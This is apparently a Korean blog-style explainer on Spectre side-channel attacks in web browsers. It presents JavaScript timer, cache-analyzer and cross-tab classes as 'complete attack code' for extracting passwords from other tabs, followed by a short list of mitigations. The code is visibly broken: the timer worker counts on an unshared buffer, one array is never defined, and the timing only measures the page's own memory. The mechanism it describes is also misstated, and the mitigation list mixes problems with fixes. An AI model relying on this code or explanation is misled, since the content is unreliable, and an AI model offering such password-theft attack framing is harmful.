웹에서의 Spectre 공격 이해하기

1. 웹 환경에서의 Spectre(스펙터) 공격

Spectre 공격이란 무엇인가

웹 서비스 보안에 미치는 영향

• 다른 탭에서 입력한 비밀번호나 개인정보

• 다른 웹사이트의 쿠키나 세션 정보

• 사용자의 브라우징 패턴이나 방문 기록

• 메모리에 로드된 이미지나 문서의 일부

2. SharedArrayBuffer로 이해하는 Spectre 공격 원리

CPU 캐시와 메모리 접근 시간 차이

캐시 히트: ~1-4 나노초 (빠름)
캐시 미스: ~100-300 나노초 (느림)

SharedArrayBuffer를 이용한 정밀 타이밍 측정

캐시 히트/미스 판별을 통한 정보 추출

코드 예시: 정밀 타이머 구현과 캐시 상태 측정

// SharedArrayBuffer를 이용한 고해상도 타이머
class PrecisionTimer {
    constructor() {
        this.sharedBuffer = new SharedArrayBuffer(16);
        this.counterArray = new Int32Array(this.sharedBuffer);

        // Web Worker에서 카운터 실행
        const worker = new Worker(URL.createObjectURL(new Blob([`
            while (true) Atomics.add(new Int32Array(new SharedArrayBuffer(16)), 0, 1);
        `], { type: 'application/javascript' })));
    }

    now() {
        return Atomics.load(this.counterArray, 0);
    }
}

// 캐시 상태 분석기
class CacheAnalyzer {
    constructor() {
        this.timer = new PrecisionTimer();
        this.threshold = 50; // 캐시 히트/미스 구분 임계값
    }

    checkCacheState(character) {
        const measurements = [];

        for (let i = 0; i < 100; i++) {
            const start = this.timer.now();
            this.accessMemory(character);
            measurements.push(this.timer.now() - start);
        }

        const avgTime = measurements.reduce((a, b) => a + b) / measurements.length;
        return avgTime < this.threshold; // 캐시 히트 여부
    }

    accessMemory(character) {
        const memoryIndex = character.charCodeAt(0) * 64;
        this.dummyArray[memoryIndex] = this.dummyArray[memoryIndex] + 1;
    }
}

3. 웹 브라우저의 메모리 격리 취약점

브라우저 탭 간 메모리 공유 구조

• 동일한 도메인의 여러 탭

• 리소스가 제한된 환경에서의 프로세스 재사용

• 확장 프로그램이나 플러그인을 통한 공유

Same-Origin Policy 우회 가능성

코드 예시: 탭 간 메모리 상태 확인

// 다른 탭의 활동 감지
class CrossTabAnalyzer {
    constructor() {
        this.cacheAnalyzer = new CacheAnalyzer();
        this.commonChars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    }

    // 캐시 상태 스냅샷 생성
    async takeCacheSnapshot() {
        const snapshot = {};
        for (const char of this.commonChars) {
            snapshot[char] = this.cacheAnalyzer.checkCacheState(char);
        }
        return snapshot;
    }

    // 다른 탭에서의 입력 활동 모니터링
    async detectActivity() {
        const before = await this.takeCacheSnapshot();
        await new Promise(resolve => setTimeout(resolve, 100));
        const after = await this.takeCacheSnapshot();

        const newlyAccessed = [];
        for (const char in after) {
            if (!before[char] && after[char]) {
                newlyAccessed.push(char);
            }
        }

        return newlyAccessed;
    }
}

4. 실제 공격 구현

패스워드 추출 공격 메커니즘

1. 준비 단계 공격자 웹사이트에서 고해상도 타이머와 캐시 분석기 초기화

2. 모니터링 단계 다른 탭의 캐시 상태를 지속적으로 관찰

3. 패턴 분석 단계 캐시 히트 패턴을 통해 사용된 문자들 식별

4. 순서 추론 단계 시간 순서와 통계적 분석을 통해 실제 패스워드 복원

문자별 캐시 분석을 통한 데이터 복원

코드 예시: 완전한 공격 코드와 분석

// Spectre 공격 구현
class SpectreAttack {
    constructor() {
        this.cacheAnalyzer = new CacheAnalyzer();
        this.crossTabAnalyzer = new CrossTabAnalyzer();
    }

    // 패스워드 추출 공격
    async extractPassword() {
        console.log('패스워드 추출 시작...');
        const password = [];
        const testChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

        // 각 위치별로 문자 추출
        for (let position = 0; position < 10; position++) {
            const candidates = {};

            // 모든 가능한 문자에 대해 캐시 히트율 측정
            for (const char of testChars) {
                let hitCount = 0;
                for (let i = 0; i < 50; i++) {
                    if (this.cacheAnalyzer.checkCacheState(char)) {
                        hitCount++;
                    }
                }
                candidates[char] = hitCount / 50; // 히트율
            }

            // 가장 높은 히트율을 가진 문자 선택
            const bestChar = Object.entries(candidates)
                .sort(([,a], [,b]) => b - a)[0];

            if (bestChar[1] > 0.7) { // 신뢰도 70% 이상
                password.push(bestChar[0]);
                console.log(`Position ${position}: ${bestChar[0]}`);
            } else {
                break;
            }
        }

        return password.join('');
    }
}

// 공격 실행
const attack = new SpectreAttack();
attack.extractPassword().then(result => {
    console.log('추출된 패스워드:', result);
});

5. 보안 대응책

SharedArrayBuffer 비활성화

• HTTPS 환경에서만 동작

• Cross-Origin-Embedder-Policy: require-corp 헤더 설정

• Cross-Origin-Opener-Policy: same-origin 헤더 설정

Site Isolation 기술

• 여러 탭이 하나의 프로세스에서 실행

• 같은 프로세스 내에서 다른 탭의 메모리에 접근 가능

• Spectre 공격으로 프로세스 내 모든 데이터 탈취 위험

• 각 도메인별로 독립된 프로세스 할당

• 프로세스 간 메모리 완전 격리

• 크로스-오리진 프레임도 별도 프로세스에서 실행

멜트다운/스펙터  |  Blog  |  Chrome for Developers

웹 개발자 및 Chrome의 완화 조치에 미치는 영향

https://developer.chrome.com/blog/meltdown-spectre?hl=ko